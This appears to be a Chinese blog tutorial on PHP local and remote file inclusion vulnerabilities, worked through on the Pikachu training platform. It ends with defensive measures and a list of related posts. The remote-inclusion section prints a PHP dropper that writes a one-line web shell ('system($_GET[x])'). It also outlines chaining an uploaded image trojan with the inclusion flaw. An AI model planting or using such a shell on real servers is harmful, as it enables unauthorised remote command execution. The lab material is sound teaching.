一、文件包含漏洞概述

    在web后台开发中,程序员往往为了提高效率以及让代码看起来简洁,会使用"包含"函数功能。例如把一些功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用函数代码。

    但是有些时候,因为网站功能的需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了"包含"功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置让后台执行任意文件(代码)。

    这种情况我们就成为"文件包含"漏洞,文件包含漏洞有"本地文件包含漏洞"和"远程文件包含漏洞"两种情况。

二、本地文件包含漏洞测试

1、我们来到pikachu平台的File Inclusion(local)模块。我们在选择菜单里,随便选择一个,点击"提交查询"。

2、那我们尝试修改传入后台的文件。

3、下面我们来看一下源码

三、远程文件包含漏洞测试

远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码~

注意:

远程包含漏洞的前提:如果使用的是include和require,我们则需要对php.ini进行如下配置:

allow_url_fopen = on //默认打开

Allow_url_include=on //默认关闭。

1、首先检查我们的php.ini配置文件是否需要改动,如果进行了改动,记得重启PHPstudy服务。

2、来到对应的测试模块页面

2、我们在站点的根目录下新建一个pikachu文件夹,在文件夹里新建一个yijuhua.txt

文本文档的内容如下:

<?php

    $myfile = fopen("yijuhua.php","w");

    $txt = '<?php system($_GET[x]);?>';

    fwrite($myfile,$txt);

    fclose($myfile);

?>

3、我们通过192.168.33.253站点访问我们新建的yijuhua.txt文件。并且将URL地址栏中的值复制。

4、执行下图中的操作。

5、然后我们点击提交。来到资源管理器查看

6、然后我们进行远程的调用。

四、文件包含漏洞之文件上传漏洞的利用

    如果你发现了一个包含本地文件包含漏洞的网站,或许我们只可以查看一些文件。

    那么我们呢可以进行更深层次的利用。

    刚好这个时候我们在这个网站上又发现了一个文件上传漏洞。我们可以将两者结合。

思路:

  1. 制作一个图片木马,通过文件上传漏洞上传
  2. 通过文件包含漏洞对该图片木马进行"包含"
  3. 获取执行结果

五、文件包含漏洞常见防范措施

1、在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作。

2、过滤各种../../,http://,https://

3、配置php.ini配置文件:

allow_url_fopen = off

allow_url_include=off

magic_quotes_gpc=on

4、通过白名单策略,仅允许包含运行指定的文件,其他的都禁止。

pikachu-文件包含漏洞(Files Inclusion)的更多相关文章

  1. 文件包含漏洞File Inclusion

    文件包含漏洞 目录遍历漏洞在国内外有许多不同的叫法,也可以叫做信息泄露漏洞.非授权文件包含漏洞等. 文件包含分类 LFI:本地文件包含(Local File Inclusion) RFI:远程文件包含 ...

  2. php文件包含漏洞 file inclusion vulnerability

    0x00 何为文件包含漏洞 开发人员如果在写类似include "a.php"的代码时,如果将a.php写成了可变的值,那么就可以在上面做文章,举个理想的例子: <? inc ...

  3. Pikachu漏洞练习平台实验——文件包含(File Inclusion)(六)

    1.概述 1.1简介 在 Web 后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用 “包含” 函数功能.比如把一系列功能函数都写进 function.php 中,之后当某个文件需要调 ...

  4. Pikachu-File Inclusion(文件包含漏洞)

    File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...

  5. PIKACHU之文件包含漏洞

    PIKUCHU靶场之文件包含 一.file inclusion(local) 实验源码: <?php /** * Created by runner.han * There is nothing ...

  6. 文件包含漏洞(pikachu)

    文件包含漏洞 在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用'包含'函数功能,比如把一系列功能函数都写进function.php中,之后当某个文件需要调用的时候,就直接在文 ...

  7. 文件包含漏洞(file inclusion)

    文件包含漏洞原理:(php) 是指当服务器开启allow_url_include选项的时候,通过php某些特性函数.如include().include_once().require().requir ...

  8. pikachu 文件包含,上传,下载

    一.文件包含 1.File Inclusion(local) 我们先测试一下,选择kobe然后提交 发现url出现变化 可以猜测此功能为文件包含,包含的文件为 file1.php,所以我在此盘符的根目 ...

  9. PHP文件包含漏洞剖析

    一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...

  10. php文件包含漏洞(利用phpinfo)复现

     利用docker复现该漏洞,访问http://192.168.80.156:8080/phpinfo.php,可以看到页面出现phpinfo页面 再访问http://192.168.80.156:8 ...

随机推荐

  1. C#中TripleDES对应Java中的DESede即大家说的3DES,附C#及Java加解密结果一致的控制台程序例子

    直接上代码了. Java控制台代码: package Test; import java.security.Key; import javax.crypto.Cipher; import javax. ...

  2. context:component-scan标签的诠释

    XML中配置context:component-scan时,spring会自动的扫描这个包下被这些注解标识的类@Component,@Service,@Controller,@Repository,同 ...

  3. 嗯 想写个demo 苦于没数据

    step 1: 来点数据: 各种数据 随你便了. step 2: 来个 服务端 step 3 : 客户端 调用

  4. python之set集合操作

    set集合天生具有去重功能 1.创建集合,集合的value类型:string.tuple.frozenset.数字等不可变类型: s1 =set()#空集合 s2=set(") s3=set ...

  5. BBOTSTRAP

    Bootstrap 第一步:下载 第二步: 解压缩 第三步:引入(head内部  link引入) Bootstrap 全局样式 移动设备优先:<meta name="viewport& ...

  6. Spring事务梳理

    Spring事务传播行为 概述 Spring在TransactionDefinition接口中规定了7种类型的事务传播行为 事务传播行为是Spring框架独有的事务增强特性,他不属于的事务实际提供方数 ...

  7. 自定义HttpMessageConverter实现RestTemplate的exchange方法返回自定义格式数据

    一 概述 实现如下效果代码,且可正常获取到返回数据: ResponseEntity<JsonObject> resEntity = restTemplate .exchange(url, ...

  8. windows下使用pycharm配置python的virtualenv环境

    环境:win10 python2.7.10(64) 在path中配置python环境 注意:我这边的环境是py2和py3共存的,但是我这边默认使用的是py2. 在virtualenv环境中安装指定的p ...

  9. 5.场景3:高可用性使用分布式虚拟路由(DVR)

    这个场景描述了使用ML2插件和Open vSwitch的OpenStack网络服务的高可用性分布式虚拟路由(DVR)实现.示例配置创建了一个Flat外部网络和一个VXLAN项目(租户)网络.然而,这种 ...

  10. context.startActivity(Intent intent)方法启动activity

    在一个Activity环境中用该方法启动一个一个activity不会出任何问题,但在activity之外的其他组件中使用该方法就会出现以下错误: Calling startActivity() fro ...